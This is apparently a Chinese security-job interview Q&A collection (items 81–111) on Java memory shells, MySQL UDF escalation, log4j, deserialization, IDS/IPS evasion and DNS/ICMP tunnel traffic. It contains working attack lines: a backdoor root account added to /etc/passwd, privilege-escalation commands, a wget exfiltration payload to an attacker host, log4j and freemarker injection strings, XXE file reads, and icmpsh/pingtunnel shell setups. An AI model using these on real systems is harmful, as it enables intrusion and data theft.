echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

以用户名:test 密码: password@123 登录主机,登录成功后,是 root 权限。

img

81.java内存马查杀

内存马特点就是无文件落地webshell中,随着攻防演练对抗强度越来越高,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll以及文件形式的后门容易被检测到,文件shell明显气数已尽,而内存马因其隐蔽性等优点从而越来越盛行。

由客户端发起的Web请求后,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马就是利用请求过程在内存中修改已有的组件或动态注册一个新的组件,插入恶意的shellcode,达到持久化控制服务器的目的。内存马可以通过访问存在漏洞的url加上命令执行参数,即可让服务器返回结果也可通过webshell管理工具例如:蚁剑、冰蝎、哥斯拉等进行远程连接后攻击目标。

内存马在语言类型上有PHP内存马,Python内存马,而本文主要侧重于“市场占有率”最高的java内存马的检测与查杀,java内存马又主要分为下面这

内存马特征的识别

三大类

  • servlet-api类
    • filter型
    • servlet型
    • listener型
  • spring类
    • 拦截器
    • controller型
  • Java Instrumentation类
    • agent型

依然是以filter内存马举例

利用java agent技术遍历所有已经加载到内存中的class,先判断是否是内存马,是则进入内存查杀

filter特殊名称

内存马的Filter名一般比较特别,随便一点的可能有shell,Mem这种关键词或者随机数随机字母。当然这个特征并不是决定条件,因为讲究一点的攻击者也可以将filter伪装成web应用自带的名称。

filter优先级是第一位

为了确保内存马在各种环境下都可以访问,往往需要把filter匹配优先级调至最高,比如shiro反序列化漏洞。

web.xml中没有filter配置

内存马的Filter是动态注册的,所以在web.xml中肯定没有配置,如果发现了在web.xml中不存在的filter,那么这个filter就十分可疑了

特殊classloader加载

一般来说,正常的Filter都是由中间件的WebappClassLoader加载的。而攻击者利用的getshell攻击链往往具有明显的特征,比如反序列化漏洞喜欢利用TemplatesImpl和bcel执行任意代码。所以这些class往往就是以下这两个:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader

com.sun.org.apache.bcel.internal.util.ClassLoader

对应的classloader路径下没有class文件
所谓内存马就是代码驻留内存中,本地无对应的class文件。所以我们只要检测Filter对应的ClassLoader目录下是否存在class文件。(这也是很多内存马检测脚步实现的原理)

Filter的doFilter方法中有恶意代码

我们可以把内存中所有的Filter的class dump出来,使用反编译工具分析看看,是否存在恶意代码,比如调用了:java.lang.Runtime.getRuntime,defineClass,invoke

原理简述

servlet-api类

以filter内存马为例

Tomcat Filter工作流程:

这类内存马会先创建了一个恶意的servlet,然后获取当前的StandardContext,将恶意servlet封装成wrapper添加到StandardContext的children当中,最后添加ServletMapping将访问的URL和wrapper进行绑定。执行上述代码后,访问当前应用的特定url路径,加上特定的参数就可以命令执行了。

82.对边缘业务小程序渗透过吗

渗透过,利用proxy将微信小程序代理转发到BP接口端口,

主要是通过爆破api接口,查看是不是有一些能利用的端口,比如之前SRC遇到过一个,

类似于getalluser的接口,只需要post发送id的值[1,n]

就会回显这些用户id的信息

这些接口相比于web更容易有SQL注入,

83.对镜像劫持的了解

“映像文件执行参数”

表现为常见的杀毒软件、防火墙、安全检测工具等均提示“找不到文件”或执行了没有反应

改名可以正常使用

84.mysql 的udf提权:原理

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。

在 udf.dll 文件中,我定义了名为 sys_eval() 的 MySQL 函数,该函数可以执行系统任意命令

select * from mysql.func where name = ‘sys_eval’; #查看创建的sys_eval函数
select sys_eval(‘whoami’); #使用系统命令

SQL

当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。

在将 udf.dll 文件写入plugin目录后,我们就可以使用 sys_eval 函数了

两种方式进行 UDF的提权:

(一).通过大马的MySQL提权功能,成功导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd 命令,来执行提权操作。注:在此之前,我们应执行版本查看语句,来确认当前MySQL的版本信息!

net user secist username /add

net localgroup administrators username /add

(二).直接在目标服务器上传 udf.php 此类的提权脚本提权。

4、UDF提权的利用条件

(1)MySQL数据库没有开启安全模式。

(2)已知的数据库账号具有对MySQL数据库insert和delete的权限,最好是root最高权限。

(3)shell有写入到数据库安装目录的权限。

(4)知道绝对路径

85.JAVA 实现RCE漏洞的函数

Runtime.getruntieme.exec(“cmd”)

new ProcessBuilder().start(“cmd”)

86.网络设备有使用过吗,防火墙,路由器,交换机

用过在学校部门里就是负责网络维护,

交换机负责连接网络设备(如交换机、路由器、防火墙、无线AP等)和终端设备(如计算机、服务器、摄像头、网络打印机等);路由器实现局域网与局域网的互联,局域网与Internet的互联;而防火墙作为一个安全网络设备,作用于内部网络与内部网络之间,或者内部网络与Internet之间。总结,交换机负责连接设备,路由器负责连接网络,防火墙负责网络访问限制。

路由器改桥接

用超级密码进入光猫设置,把原来的路由改为桥接模式,同时关闭DHCP功能

87.最新的漏洞有了解过吗?

https://mp.weixin.qq.com/s?__biz=MzU1Mjk3MDY1OA==&mid=2247512913&idx=1&sn=5b24d2afd5d6f2bdb04ca68faf6a76ee

Telegram上的一个漏洞

官方源文件中写错文件后缀名,pyzw写成了pywz,攻击者制作恶意的.pyzw文件可以在windows中执行任意代码。

pyzw 本质上就是一个zip文件,内附一个__main__.py 打包成zip,并修改为pyzw后缀名,运行文件就会去执行__main__.py里对应的Python代码。

1
__import__("subprocess").call(["calc.exe"])

因为漏洞可以结合机器人进行转发,可以使文件变为mp4格式。

漏洞利用限制条件
1、windows环境

2、安装有python

88.看你有过开发的经验,有写过sql注入脚本,说一下这个脚本的情况?

这个是用python写的一个自动化注入脚本,脚本利用了requests、time,base64等模块

时间盲注的函数:sleep、benchmark、笛卡尔积、GET-LOCK加锁、正则匹配

布尔盲注的函数:left、substr、length、mid、ascii、regexp正则

89.mysql在linux的配置文件是哪个?

my.cnf

1、Windows下MySQL的配置文件是my.ini,一般会在安装目录的根目录。

2、Linux下MySQL的配置文件是my.cnf,一般会放在/etc/my.cnf,/etc/mysql/my.cnf。如果找不到,可以用find命令查找。

3、Linux用rpm包安装的MySQL是不会安装/etc/my.cnf文件的

90.**如何判断使用的什么数据库?**判断web后台数据库类型的方法

谷歌插件 Wappalyzer

一、根据网页编程语言去判断

ASP和.NET:Microsoft SQL Server

PHP:MySQL、PostgreSQL

Java:Oracle、MySQL以上是常见的搭配。

二、根据数据库报错判断

输入单引号报错

mysql:error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1

mssql:因为mssql是微软公司的,里面出现微软的英文名字Microsoft还有ODBC也是mssql特有的。

ORA的是ORACLE。

91.Nginx的日志放在那里,如何进行分析?主要看哪些你认为重要的地方?

默认的话是/var/log/nginx/,

在配置文件/etc/nginx/nginx.conf中也可以指定

配置文件/etc/nginx/nginx.conf

Nginx的日志分为访问日志access_log和错误日志error_log两大块,前者主要记录用户每次访问的情况,后者则侧重于服务器的具体错误,比如返回403的具体原因是文件不可读还是权限不足之类的。

分析/var/log/nginx/access.log:

1、可以根据每个所关心的字段读取频率最高的前十看看是否有什么出乎意料的情况,以客户端IP,客户端User-Agent,
以及返回状态码为例。

2、流量观察:对于一般网站来说流量监控也是比较重要的,所以根据访问时间,可以统计出每天的访问量和一天中平均各个时间段的访问量:

分析/var/log/nginx/error_log

错误类型、路径错误、SEO(搜索引擎优化)、查错示例

92.系统日志放在那里?

linux的var/log

windows的在Windows\System32\winevt\Logs

93.遇到了IDS/IPS你如何对抗?

回答了绕过,问:如何绕过:

IDS工作在网络层,旁路部署,通过抓取和分析网络流量来发现攻击;IPS一般也是在网络层旁路,可以理解为具备阻断能力的IDS,是IDS的升级版,可以覆盖网络层和应用层;WAF是在应用层防护Web攻击的程序,一般是跟Web接入层对接,可旁路可串行,仅能覆盖应用层

IPS的旁路防护原理很简单,其经典代表如开源的Snort,就是在网络上分析流量,发现符合规则的流量则冒充服务端回包响应客户端实现阻断或者替换的目的,这是一种典型的链路劫持手法。常见的场景是封禁网站(如非法网站的封禁)、篡改网页内容(运营商插广告)、阻断端口扫描和漏洞攻击(IPS),实施链路劫持的人必须控制某段网络。

因为IPS是旁路部署,所以只能通过发伪造包的方式来达到干扰双方正常通信的目的,正常的包其实还是会到达客户端和服务端,只不过相同序号的包操作系统已经处理过了,这些包会被认为是错误的包从而丢掉。

从原理分析,绕过IPS可以从两个方向着手:1)检测上,如果IPS在流量里检测不到攻击特征,则不会有后续动作;2)阻断上,正常包也会到达服务器,只是来晚了,如果有办法让伪造的包失效,则阻断不会发生。

94.DNS的工作原理:

DNS( Domain Name System)是“域名系统”的英文缩写,是一种组织成域层次结构的计算机和网络服务命名系统,它用于TCP/IP网络,它所提供的服务是用来将主机名和域名转换为IP地址的工作。你可以把它想象成一本巨大的电话本。属于应用层协议;

正反向解析事两个不同得名称空间,是两颗不同得解析树;

正向:ip—》主机名

反向:主机名—》ip

总结域名解析过程:

按顺序查找,找到则成功退出

解析过程就是,他在电脑上应该是有缓存的,还有host文件有对应的域名解析,然后就是在DNS服务器上查找,

1.浏览器的DNS缓存查找,没有则2

2.操作系统的DNS缓存查找,没有则3

3.host文件查找,没有则4

4.TCP/IP设置的本地DNS服务器查找,没有则5

5.DNS服务器的缓存,如果缓存中也没找到,没有则6

6.13台根DNS,同上问讲的理想状态寻找,一层域,一层域找

95.不回显可以外带

eval(compile(“”“for x in range(1):\n import os\n os.popen(r’wget http://axin.com:8000/shell.php?cmd=”$(ls -la)”)read()”””,’’,’single’))

然后在我们的攻击机服务器axin.com上部署一份shell.php文件,文件内容如下:

———————————————

96.log4j2

1
${jndi:ldap://2lnhn2.ceye.io}

JNDI

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

看不懂?看不懂就对了!

简单粗暴理解:有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。

那不同的数据源肯定有不同的查找方式,所以JNDI也只是一个上层封装,在它下面也支持很多种具体的数据源。

img

LDAP

LDAP即Lightweight Directory Access Protocol(轻量级目录访问协议),目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。

看不懂?看不懂就对了!

这个东西用在统一身份认证领域比较多,但今天也不是这篇文章的重点。你只需要简单粗暴理解:有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。

核心问题了:JNDI可以远程下载class文件来构建对象

危险在哪里?

如果远程下载的URL指向的是一个黑客的服务器,并且下载的class文件里面藏有恶意代码,那不就完犊子了吗?

img

这就是鼎鼎大名的JNDI注入攻击!

96.java中间件

消息队列中间件:
Kafka、RabbitMQ、ActiveMQ、RocketMQ
web server 中间件:
Nginx(部署运维中间件)、OpenResty、Tomcat
应用服务中间件:
weblogic、jetty
缓存中间件:
服务端缓存包括 Redis、Memcached…
RPC框架:
Tars、Dubbo、gRPC、Thrift
数据库中间件:mycat、Sharding jdbc
日志系统中间件:
ELKB指的是一套解决方案,是Elasticsearch、Logstash 、 Kibana、Beats是这 4 种软件产品的首字母缩写。
配置中心中间件:
Apollo、zookeeper(分布式协调中间件) 统一配置管理 oAPI 网关,开源项目有 Tyk、kong、zuul、orange…
事务处理中间件:
seata、JDTX

97.**IDS和WAF的区别 **IPS

IDS一般都是旁挂
IPS是串联

https://blog.csdn.net/allway2/article/details/108074904

*IPS* =入侵防御系统 IPS位于防火墙和网络设备之间,如果检测到威胁,IPS会在攻击扩散到网络其他地方之前阻断恶意通信

*IDS* =入侵检测系统 IDS基于数据包嗅探技术,只能看着网络信息流过,不能反击网络攻击。IDS(入侵检测系统)是IPS的前身,所以用IPS就好

*WAF* = Web应用程序防火墙

WAF是一种专门针对Web应用程序的安全防护工具,它可以监控和过滤Web应用程序的请求和响应,防止Web攻击,例如SQL注入、跨站点脚本攻击等。

IDS是一种可以检测和响应网络攻击的安全防护工具,它可以监控网络流量、系统日志和事件,并自动识别并响应潜在的攻击行为。

(我是这么回答的IDS和WAF都是用特征库匹配,强大与否就在于特征库是否强大,但是WAF还有一些其他功能可以设置白名单,防止页面串改,WAF还具备一定自主学习功能,能对不同的编码方式做强制多重转换还原称攻击铭文,把变形后的字符组合后再分析,之前看过一篇文章,他把IDS比作大楼的保安,WAF比作个人的保镖,WAF应该更具有针对性)20200818131333621

98.反序列化的概念

将序列化后的字符串转换回对象或者数组。

我们重新用上面的例子并把序列化的结果写入一个文本中存储:并读取内容进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class test{
public $a = 'sdfsdfa';
protected $b = 1111;
private $c = false;
public function displayVar() {
echo $this->a;
}
}
$d = new test();
$d = serialize($d);
file_put_contents('1.txt',$d);
?>
<?php

$d = unserialize(file_get_contents('1.txt'));
print_r($d);
echo $d->a;
?>

反序列化的时候要保证有该类存在,因为没有序列化方法,所以我们反序列化回来还要依靠该类的方法进行

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a = 'sdfsdfa';
protected $b = 1111;
private $c = flase;
public function displayVar90{
echo $this->a;
}
}
$d = unserialize(file_get_contents('1.txr'));
print_($d);
echo $d->a;
?>

反序列化漏洞的产生

为什么有反序列化的漏洞呢?

用k0rz3n师傅解释很清晰了:

PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,是因为程序对输入数据处理不当导致的. 反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。

一句话讲晒就是: 反序列化漏洞是由于unserialize函数接收到了恶意的序列化数据篡改成员属性后导致的。

反序列化中常见的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
__wakeup()//执行unserialize()时,先会调用这个函数
__sleep()//执行srialize()时,先会调用这个函数
__construct//对象被创建时触发
__destruct()//对象被销毁时触发
__call()//在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

下面通过一个例子来了解一下魔法函数被自动调用的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class test{
public $varr1="abc";
public $varr2="123";
public function echoP(){
echo $this->varr1."<br>";
}
public function __construct(){
echo "__construct<br>";
}
public function __destruct(){
echo "__destruct<br>";
}
public function __toString(){
return "__toString<br>";
}
public function __sleep(){
echo "__sleep<br>";
return array('varr1','varr2');
}
public function __wakeup(){
echo "__wakeup<br>";
}
}

$obj = new test(); //实例化对象,调用__construct()方法,输出__construct
$obj->echoP(); //调用echoP()方法,输出"abc"
echo $obj; //obj对象被当做字符串输出,调用__toString()方法,输出__toString
$s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep
echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。
// 脚本结束又会调用__destruct()方法,输出__destruct
?>

再补一下

__toString的唤醒是在destruct之前的

如图

1666007704969.png

__invoke

这个是我所不熟悉的,原来是这个意思1666007994884.png

1
__call : 在对象中调用一个不可访问方法时调用。

__call
1666008283124.png

99.日志被删除

使用 lsof 命令查看当前是否有进程打开 / var/log/日志文件.log

lsof|grep/var/log/secure

rsyslogd1264root4wREG 8,13173904263917/var/log/secure(deleted)

从上面的信息可以看到 PID 1264(rsyslogd)打开文件的文件描述符为 4。同时还可以看到 / var/log/ secure 已经标记为被删除了。因此我们可以在 / proc/1264/fd/4(fd 下的每个以数字命名的文件表示进程对应的文件描述符)中查看相应的信息,如下:

查看/proc/1264/fd/4就能得到被删除的数据

1
[root@hlmcen69n3~]#tail/proc/1264/fd/4

100.如果一个木马启动了,并自删除,注入其它进程中,如何获取样本,并提交给WEB工程师分析

od dump内存出来

101.大量流量告警如何快速排查技巧

  • 判断误报

攻击方尝试利用现成的「EXP&POC集成脚本工具」对资产目标进行检测扫描,安全设备检测到「攻击尝试行为」中的攻击特征就会产生告警。在通常情况下,可以把告警中的URL的“网页状态码”、“页面回显数据”作为「误报告警」判断的条件之一。

  • 过滤无效报警

攻击方通过对目标资产所处的C段进行批量扫描,但C段的资产并非都是处于「活跃」状态,甚至根本没有这个资产。而安全设备还是因为这个「攻击尝试行为」产生了告警,那么这种告警就属于「无效告警」。

  • 提取有效特征

进行正则匹配

102.中间件漏洞流量特征

tomcat --弱口令爆破

SQL --用的命令 函数

XSS --查看是否出现script标签
查看是否出现img标签<img src=1 οnerrοr=alert(21);>
查看是否出现input标签<input οnfοcus=alert(31);>
查看是否出现svg 标签<svg οnlοad=alert(41);>
查看是否出现select 标签<select οnfοcus=alert(51)>
查看是否出现iframe 标签<iframe οnlοad=alert(61);>

SSRF

file协议/gopher协议/ftp协议/dict协议

绕过ssrf会使用一些特殊字符eg:‘。’‘[: :]’等一些特殊的字符,也可能出现各种编码/进制进行写IP地址,或者特殊的域名eg:xip.io

XXE

若报文中的system后面出现了url,要着重注意,(因为外部实体的声明使用SYSTEM关键字,并且必须指定一个URL,从该URL可以加载实体的值。)

1
2
3
4
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "php://filter://path/to/file" ]>
<!ENTITY lyq SYSTEM "file:///etc/passwd">

data://协议

·file://协议加文件上传

·php://filter协议加文件上传

freemaker模版注入
deviceUdid=${“freemarker.template.utility.Execute”?new()("wget http://downlo%6

<#assign test=“freemarker.template.utility.Execute”?new()> ${test(“open /Applications/Calculator.app”)}

error=&deviceUdid=${"freemarker.template.utility.Exe%6
LDAP注入

LDAP轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询。

如果出现一些运算符(=、|、||、&、&&、!(非)、*(通配符)等),因为这些运算符都是LDAP的基本语法。

例如:

ldap://austin.ibm.com/ou=Austin,o=IBM

ldap:///ou=Austin,o=IBM??sub?(cn=Joe Q. Public)

LDAP注入攻击面

(&(parameter1=value1)(parameter2=value2))

value1和value2可以换成注入代码

文件包含漏洞

文件包含会出现4个函数:

include() include_once() require() require_once()

103.设备全关的情况下如何排查webshell

看34

104.如何在服务器上无设备排查漏洞(web服务器)

禁用不必要的服务

弱口令

将怎么渗透?

可以写半自动化脚本判断是否有漏洞

105.CORS漏洞

漏洞原理

  • CORS,即跨源资源共享(Cross-Origin Resource Sharing)。同源策略(Same OriginPolicy)要求不同源之间是无法通信的,而CORS则是放宽同源策略以通过浏览器实现网站之间通信的机制。
  • CORS全称为Cross-Origin Resource Sharing即跨域资源共享,用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。
    CORS漏洞则是利用CORS技术窃取用户敏感数据,CORS漏洞的成因是服务端配置的规则不当所导致的,服务器端没有配置Access-Control-Allow-Origin等字段

漏洞危害

1、获取用户数据
2、客户端缓存中毒:这种配置允许攻击者利用其他的漏洞,更改没有验证的字段,看是否正常回显。比如,一个应用返回数据报文头部中包含“X-User”这个字段,这个字段的值没有经过验证就直接输出到返回页面上,此时就可以结合XSS漏洞来利用。
3、服务端缓存中毒:利用CORS的错误配置注入HTTP头部,这可能会被服务器端缓存下来,比如制造存储型xss

测试方法

106.钓鱼邮件处理,如何排查恶意外链类型

跳转的文字属性跟SRC不一致

恶意跳转的话就知道这些

107.攻击事件复现流程

  1. 准备环境:搭建一个与实际生产环境相似的测试环境。这可能涉及到配置网络设备、服务器、应用程序等,并确保它们的配置与实际环境尽可能一致。
  2. 收集信息:收集与攻击事件相关的信息,包括攻击手法、攻击目标、攻击者使用的工具和技术等。
  3. 模拟攻击:使用模拟工具或技术对测试环境进行攻击。这可能涉及到利用漏洞、进行端口扫描、尝试弱口令、发送恶意软件等。
  4. 监控与记录:在攻击过程中,及时监控系统日志、网络流量等信息,并记录攻击过程中的关键步骤和事件。
  5. 分析与评估:对攻击过程中收集到的信息进行分析,了解攻击者的行为和目的,并评估攻击对系统的影响和潜在风险。
  6. 修复与加固:根据分析结果,采取相应的修复措施和加固措施,以防止类似攻击事件再次发生。
  7. 总结与报告:对攻击复现过程进行总结,并撰写报告,包括攻击事件的详细描述、影响分析、修复建议等内容,以便后续改进安全策略和措施。****

108.能getshell的漏洞

文件上传

命令执行漏洞

解析漏洞

sql注入,文件写入直接命令执行

文件包含

oday,nday

弱口令

109.反序列化的中间件

shiro

WebLogic

thinkphp

fastjson

Jboss

110.sql注入告警分析

根据数据包回显,判断注入是否成功,如果成功可以直接上报研判,如果没有成功,但一直在尝试攻击,我们也可以上报研判,进行封禁IP。

请求报文中有特殊的sql字符,比如,and、or、id=1、updatexml、select、union等。

响应报文中有一些sql回显,就比如一些连续的错误回显或者登陆成功的回显。

111.隧道通信,对应的流量特征 dns,icmp等

dns

建立链接的包分析

在客户端启动后,会向服务器发送DNS请求包

img

客户端情报求包,请求包的type类型为10 (未知,可以作为检测的一种特征),数据作为域名前缀

yrbh1o.ns.dnstuneltest.com, yrbh1o就是请求的数据

img

服务器响应包,rdata字段携带数据,因为查询包没有指定查询类型,所以rdata字段没有长度限制(限制于UDP最大包长512字节)

img

采用中继模式,客户端会一直发送心跳包,保持链接(因为DNS服务器不会直接与客户端发起链接,所以客户端会一直想服务器发送数据包)但是DNS协议的字段格式已经损坏。

通信流量包分析

通信过程的中的DNS协议格式已经损坏,wireshark已经无法正确分析

img

正常DNS的数据包中的query字段的形式是所占字节-三级域名-所占字节-二级域名-所占字节-一级域名形式并且正常的query字段时只有再域名结束时才会出现00阶段。

05fanyi05baidu03com

隧道中的流量明显不符合上文的query字段规定。由60 08开头。

img

ICMP

ICMP隧道流量特征

流量检测关键点:

  • 单位时间内数据包的数量
  • 单组数据包Data字段长度
  • 单组数据包Data字段内容

记录一下对内网代理和穿透工具的分析过程,着重在流量侧。

0x01 环境

攻击机器:192.168.1.131和192.168.1.133

目标机器:192.168.1.137

目标机器为双网卡,第二层网段为192.168.3.0

image-20220203155808673

0x02 分析

思路:网络层 -> 传输层 -> 应用层

1、ICMP隧道技术

icmpsh

  • 介绍

    icmpsh是一个简单的反向ICMP shell工具。与其他类似的开源工具相比,主要优势在于它不需要管理权限即可在目标机器上运行。
    客户端只能在Windows机器运行,服务端可以在任何平台上运行。

  • 下载

    https://github.com/bdamele/icmpsh

  • 使用

服务端:

1
2
3
4
5
6
7
8
9
10
git clone https://github.com/inquisb/icmpsh.git

#关闭icmp回复,如果要开启icmp回复,该值设置为0
sysctl -w net.ipv4.icmp_echo_ignore_all=1

#运行,第一个IP是VPS的eth0网卡IP,第二个IP是目标机器出口的公网IP
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
python2 -m pip install impacket
python2 icmpsh_m.py 192.168.1.133 192.168.1.137

客户端:

1
2
3
4
5
6
7
8
-t 主机ip地址以发送ping请求。这个选项是强制性的!
-r 发送一个包含字符串“Test1234”的测试icmp请求,然后退出。
-d 毫秒请求之间的延迟(毫秒)
-o 毫秒响应超时(毫秒)。如果没有及时收到回复,从机将增加空白计数器。如果该计数器达到某个极限,从机将退出。如果收到响应,计数器将设置回0。
-b 空白数量限制(退出前未答复的icmp请求)
-s 字节最大数据缓冲区大小(字节)

icmpsh.exe -t 192.168.1.133 -d 500 -b 30 -s 128

image-20220203174936412

pingtunnel

  • 介绍

    Pingtunnel 是一种通过 ICMP 发送 TCP/UDP 流量的工具。其是最流行的一款ICMP代理工具,提供对tcp/udp/sock5流量伪装成icmp流量进行转发的功能。需要root或者administrator/system权限。

  • 下载

    https://github.com/esrrhs/pingtunnel

  • 使用

高权限条件下

image-20220203183416112

构建反向代理

1)服务端

1
2
3
4
5
6
7
-type server 代表开启ICMP SERVER端,等待客户端进行连接与通信。
-noprint 1 不在控制台打印日志
-nolog 1 不存储日志文件

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

./pingtunnel -type server -noprint 1 -nolog 1

image-20220203205320732

2)客户端

1
pingtunnel.exe -type client -l :4455 -s 192.168.1.133 -sock5 1 -noprint 1 -nolog 1

image-20220203205238445

3)测试使用

设置 socks5

image-20220203205403724

访问二层网络

image-20220203205430525

2、ICMP隧道流量特征

流量检测关键点:

  • 单位时间内数据包的数量
  • 单组数据包Data字段长度
  • 单组数据包Data字段内容

正常情况下,单位时间内数据包发送的数量为一组。

image-20220203215038175

单组数据包Data字段长度,Windows为32 bytes,Linux下为48 bytes,并且请求包和响应包长度相同。

单组数据包Data字段长度,Windows为32 bytes,Linux下为48 bytes,并且请求包和响应包长度相同。

image-20220203220429657

单组数据包Data字段内容中,Windows为abcdefghijklmnopqrstuvwabcdefghi,Linux下为!”#$%&’()+,-./01234567